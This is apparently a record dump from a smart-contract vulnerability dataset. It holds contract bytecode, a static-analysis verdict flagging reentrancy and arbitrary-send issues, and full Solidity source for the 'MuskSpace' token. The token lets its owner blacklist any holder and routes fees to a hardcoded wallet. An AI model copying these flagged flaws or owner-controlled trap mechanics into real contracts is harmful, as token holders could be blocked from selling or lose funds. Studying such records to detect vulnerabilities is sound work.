2e85cb44cf9060200160405180910390a150565b6000546001600160a01b03163314610f1a5760405162461bcd60e51b815260040161062e90611dac565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b031614610f5c57600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610fdc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b03821661103d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b0382166111645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b600081116111c65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b038481169116148015906111f257506000546001600160a01b03838116911614155b15611323576001600160a01b03831630146112165760155481111561121657600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561125857506001600160a01b0382166000908152600e602052604090205460ff16155b80156112745750336000908152600e602052604090205460ff16155b61127d57600080fd5b6000611288306107f4565b9050600d5481106112985750600d545b600c546014549082101590600160a81b900460ff161580156112c35750601454600160b01b900460ff165b80156112cc5750805b80156112e657506014546001600160a01b03868116911614155b801561130057506013546001600160a01b03868116911614155b156113205761130e82611594565b47801561131e5761131e476113ba565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061136557506001600160a01b03831660009081526005602052604090205460ff165b1561136e575060005b61137a84848484611739565b50505050565b600081848411156113a45760405162461bcd60e51b815260040161062e9190611d59565b5060006113b18486611ea8565b95945050505050565b6010546001600160a01b03166108fc6113df60066113d985600a611552565b906114d3565b6040518115909202916000818181858888f19350505050158015611407573d6000803e3d6000fd5b506012546001600160a01b03166108fc61142760046113d985600a611552565b6040518115909202916000818181858888f19350505050158015610937573d6000803e3d6000fd5b60006006548211156114b65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b60006114c0611767565b90506114cc8382611552565b9392505050565b6000826114e257506000610595565b60006114ee8385611e89565b9050826114fb8583611e69565b146114cc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b60006114cc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178a565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115ea57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561163e57600080fd5b505afa158015611652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116769190611b56565b8160018151811061169757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546116bd9130911684610f7a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906116f6908590600090869030904290600401611de1565b600060405180830381600087803b15801561171057600080fd5b505af1158015611724573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611746576117466117b8565b6117518484846117e6565b8061137a5761137a600a54600855600b54600955565b60008060006117746118dd565b90925090506117838282611552565b9250505090565b600081836117ab5760405162461bcd60e51b815260040161062e9190611d59565b5060006113b18486611e69565b6008541580156117c85750600954155b156117cf57565b60088054600a5560098054600b5560009182905555565b6000806000806000806117f88761191f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061182a908761197c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461185990866119be565b6001600160a01b03891660009081526002602052604090205561187b81611a1d565b6118858483611a67565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118ca91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006118f98282611552565b82101561191657505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061193c8a600854600954611a8b565b925092509250600061194c611767565b9050600080600061195f8e878787611ada565b919e509c509a509598509396509194505050505091939550919395565b60006114cc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611380565b6000806119cb8385611e51565b9050838110156114cc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b6000611a27611767565b90506000611a3583836114d3565b30600090815260026020526040902054909150611a5290826119be565b30600090815260026020526040902055505050565b600654611a74908361197c565b600655600754611a8490826119be565b6007555050565b6000808080611a9f60646109ce89896114d3565b90506000611ab260646109ce8a896114d3565b90506000611aca82611ac48b8661197c565b9061197c565b9992985090965090945050505050565b6000808080611ae988866114d3565b90506000611af788876114d3565b90506000611b0588886114d3565b90506000611b1782611ac4868661197c565b939b939a50919850919650505050505050565b8035611b3581611f06565b919050565b600060208284031215611b4b578081fd5b81356114cc81611f06565b600060208284031215611b67578081fd5b81516114cc81611f06565b60008060408385031215611b84578081fd5b8235611b8f81611f06565b91506020830135611b9f81611f06565b809150509250929050565b600080600060608486031215611bbe578081fd5b8335611bc981611f06565b92506020840135611bd981611f06565b929592945050506040919091013590565b60008060408385031215611bfc578182fd5b8235611c0781611f06565b946020939093013593505050565b60006020808385031215611c27578182fd5b823567ffffffffffffffff80821115611c3e578384fd5b818501915085601f830112611c51578384fd5b813581811115611c6357611c63611ef0565b8060051b604051601f19603f83011681018181108582111715611c8857611c88611ef0565b604052828152858101935084860182860187018a1015611ca6578788fd5b8795505b83861015611ccf57611cbb81611b2a565b855260019590950194938601938601611caa565b5098975050505050505050565b600060208284031215611ced578081fd5b81356114cc81611f1b565b600060208284031215611d09578081fd5b81516114cc81611f1b565b600060208284031215611d25578081fd5b5035919050565b600080600060608486031215611d40578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d8557858101830151858201604001528201611d69565b81811115611d965783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e305784516001600160a01b031683529383019391830191600101611e0b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e6457611e64611eda565b500190565b600082611e8457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ea357611ea3611eda565b500290565b600082821015611eba57611eba611eda565b500390565b6000600019821415611ed357611ed3611eda565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fd5b80151581146107f157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fb0ca615f0e2029a2d33fdb5a30928a367474171d0c1d3968c74a4b51155cff864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,104
0xfc9de8e228bbf28a1c1d9caa25ac64427d3ef108
/** https://t.me/MuskSpace */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MuskSpace is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "MuskSpace"; string private constant _symbol = "MuskSpace"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xC6A90758DDb25BC46bd32576A73744D2dc32ebD9); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(15).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e36565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061293d565b6104b4565b60405161018e9190612e1b565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fd8565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061297d565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128ea565b61060d565b60405161021f9190612e1b565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612850565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b604051610273919061304d565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129c6565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a20565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612850565b6109dd565b6040516103199190612fd8565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612d4d565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612e36565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061293d565b610c9e565b6040516103da9190612e1b565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a20565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c91906128aa565b6113cb565b60405161046e9190612fd8565b60405180910390f35b60606040518060400160405280600981526020017f4d75736b53706163650000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611452565b848461145a565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f18565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c613395565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610601906132ee565b91505061057b565b5050565b600061061a848484611625565b6106db84610626611452565b6106d68560405180606001604052806028815260200161375460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb89092919063ffffffff16565b61145a565b600190509392505050565b6106ee611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612f18565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612f18565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612f18565b60405180910390fd5b6000811161093357600080fd5b610962606461095483683635c9adc5dea00000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611452565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611de1565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4d565b9050919050565b610a36611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612f18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612f18565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d75736b53706163650000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611452565b8484611625565b6001905092915050565b610cc4611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612f18565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83683635c9adc5dea00000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611452565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611ebb565b50565b610e18611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612f18565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612fb8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061145a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611003919061287d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061287d565b6040518363ffffffff1660e01b81526004016110ba929190612d68565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061287d565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611195306109dd565b6000806111a0610c38565b426040518863ffffffff1660e01b81526004016111c296959493929190612dba565b6060604051808303818588803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112149190612a4d565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061127e6103e8611270600f683635c9adc5dea00000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b600f819055506112b56103e86112a7601e683635c9adc5dea00000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611375929190612d91565b602060405180830381600087803b15801561138f57600080fd5b505af11580156113a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c791906129f3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612f98565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612eb8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116189190612fd8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611695576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168c90612f58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc90612e58565b60405180910390fd5b60008111611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90612f38565b60405180910390fd5b6000600a819055506003600b81905550611760610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ce575061179e610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118775750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561192b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119815750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119995750600e60179054906101000a900460ff165b15611ad757600f548111156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612e78565b60405180910390fd5b6